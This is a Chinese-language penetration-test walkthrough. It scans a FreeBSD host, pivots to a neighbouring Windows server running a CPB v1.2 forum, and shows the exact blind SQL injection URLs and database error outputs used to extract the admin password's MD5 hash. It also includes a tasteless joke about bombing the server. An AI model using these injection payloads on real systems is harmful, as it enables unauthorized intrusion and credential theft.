编者按:渗透测试是能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作。

此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。

首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下:

(The 1641 ports scanned but not shown below are in state: filtered)

Port State Service

80/tcp open http

Device type: general purpose

Running: FreeBSD 4.X

OS details: FreeBSD 4.7-RELEASE

(注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。)

这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。

嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ...

当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!!

放弃?!当然不!“一条铁链的强度取决于其薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,好先估算一下对方的地址段的长度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127。这个不用解释了吧!

拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机是突破口!

http://211.***.***.116

出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。

用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,可以进行下一步了:

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样省了我们很多的麻烦。

下面的目标是要得到管理员的用户名和密码了。

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where

admin=admin)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

看来连管理员的用户名都还是默认的admin。

那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!

提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)=‘a‘)

返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是‘a‘。

注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上多猜测256次即可得到该值

当提交:

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password,1)=‘1‘)

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ‘80004005‘

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/list.asp,行145

可以得知第一位是‘1‘。

同理可以依次得到每一位的值,终经过耐心的尝试得到‘19a7e9898008f09e‘。这一步可能会耗费一些时间,当然也可以通过编写一个脚本来实现自动获取的目的。

好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的‘19a7e9898008f09e‘,下面可以喝杯咖啡然后等着密码来找你吧!